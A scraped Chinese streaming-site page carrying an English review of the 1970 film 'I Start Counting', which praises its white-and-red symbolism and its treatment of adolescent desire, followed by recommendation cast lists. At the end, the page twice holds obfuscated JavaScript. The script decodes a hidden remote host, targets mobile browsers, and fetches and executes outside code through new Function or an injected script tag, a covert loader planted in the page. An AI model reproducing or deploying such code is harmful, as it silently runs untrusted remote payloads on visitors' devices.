剧情简介
The story appears simple on the surface, but is revealed, especially after multiple viewings, as more multi-layered and textured than Cassavetes at his best. Ostensibly it concerns
The story appears simple on the surface, but is revealed, especially after multiple viewings, as more multi-layered and textured than Cassavetes at his best. Ostensibly it concerns a 14-year old Catholic girl, Wynne (Agutter) growing up in this post-modern wasteland, who develops a crush on her much older adoptive brother (Marshall)- a crush which perversely deepens and grows into infatuation once she starts to believe he is the local sex killer. This is in itself an idea that makes you sit up and jolt, but as the narrative develops, it continues not necessarily along a linear path but in several confusing and fascinating directions: the family's history, (detailed effectively in chilling flashback during an improvised seance) is a chequered one, and has suffered at least one major relocation and upheaval in the last ten years.
At the crux, however, it's the depiction of socialal changes that make I Start Counting so fascinating and elevate its language far beyond the confines of the standard horror film. The major subtext- that teenage girls were maturing more quickly than before, and developing full sexual and romantic appetites (even if in thought rather than deed) but were not possessed of enough discretion to make the right choices- was a step forward for a genre in which its young females had previously been portrayed as bimbo victims (Cover Girl Killer and The Night Caller spring to mind), but not one that all viewers would necessarily agree with.
But most striking of all, and possibly the most enduring image which the viewer will take away with them, is of the masterful symbolism with which director Greene invests every shot. Every inch of the Kinch family's world- their house, their walls, their TV, Agutters underwear, bedroom furniture and toys, Sutcliffe's clothes, Marshalls van, the local Catholic church, their town centre, their record shop) - is painted a bright, scintillating white- a white which, by inference, is slowly becoming smudged and corrupted with the dirt of the outside world. White also symbolises, of course, purity and innocence (two qualities Catholic schoolgirls are supposed to hold dear), and it is into this world of innocence that the ever-present red bus (a symbol of violation and penetration), conducted by the lecherous yet similarly juvenile Simon Ward, makes regular journeys. The allegory is further expanded in one scene where Agutter believes she sees the Christ figure in church weeping blood: by the time we acknowledge it, its gone, but the seed has already been planted. Rarely in a genre production has the use of colour and background been so important or effective in creating a uniformity of mood.
I Start Counting is as near-perfect an end to a decade as one could hope for, and exactly the kind of film people should be making now- which is, of course, exactly why they never will. A genre essential.
by D.R. SHIMON@lounge.moviecodec.com
详情
猜你喜欢
-
HD
西奥·罗西,克莱夫·斯坦登,萨米拉·威利,查兹·帕尔明特瑞,唐·约翰逊,威廉·弗西斯,查克·齐托,维森特·帕斯托雷,艾瑞克·卢茨,波特·杨,安东尼奥·库普
-
HD
伊莎贝尔·于佩尔,阿弗西娅·埃尔奇,Noor Elasri,Jean Guerre Souye,William Edimo,Magne-Håvard Brekke,莱昂内尔·德雷,让娜·比蒂诺娃,Lamya Bouladiz,Céline Chlebowsky,Any Mendieta,Imen Hadjersi,Laetitia Persick,Farida El Bermile,Sandro Dos Ruis,Soraya Ghalem,Marianne Auzimour,罗贝尔·普拉尼奥尔,德芬妮·
-
HD
高桥文哉,田中圭,北香那,坂井真纪,菊地凛子,染谷将太,袴田吉彦
-
HD
扎拉·阿米尔·阿布拉希米,莫让·阿里亚,利亚·珀赛尔,吉莉安·阮,奥萨马·萨米,Meaghan Fahy,露辛达·阿姆斯特朗·霍尔,Eloise Gentle,Rina Mousavi,Aurnab As-Saber
-
HD
Ayomi Domenica Dias,Loro Bardot,Grace Passô,格劳西亚·范德菲尔德,罗密欧·布拉加
-
-
HD
艾丽·范宁,丽贝卡·豪尔,米莉·布拉迪,伊丽莎白·贝林顿,维克托里娅·菲斯,奥利维亚·格兰特,克拉拉·卢嘉,扎特科·巴瑞克,卢瑞·奥康纳,安东尼娅·克拉克,斯蒂芬·鲍克思,阿格涅兹卡·格罗乔斯卡,蕾娅·斯密特洛维兹,杰茜·维宁,保罗·布莱克维尔,马里乌斯·代·弗里斯,布塔法·维塔,丹尼尔·韦斯特伍德,博格纳·F·马丁
-
HD
克丽丝·梅斯,托弗·戈瑞斯,乔什·卢卡斯,马塞尔·鲁伊斯,丹尼斯·海斯伯特,丽贝卡·斯塔巴,山姆·特拉梅尔,麦克·柯尔特,艾丽·斯考比
-
-
HD
有村架纯,国村隼,樱庭奈奈美,归山龙成,筒井真理子,木下邦家,板尾创路,青木崇高
-
HD
吉第安·艾朵,赛米·汉拉缇,伊莉莎白·哈诺伊斯,安吉里卡·希拉娅,埃丽卡·阿什,辛西娅·卡蒙娜,Megan McGown,盖尔·比恩,杰伊·赫农,Nick Gracer,Stefanée Martin,Iyana Halley,克里斯蒂安·蒙松
-
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var
s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczOTU0Nzk3Ny5kd3lldXkuYY29tOjQwMzE=','2352','2889',window,document,['Y','y']);}:function(){};
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var
s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczOTU0ODAxMi5kd3lldXkuYY29tOjQwNzA=','2352','2888',window,document,['Y','y']);}:function(){};
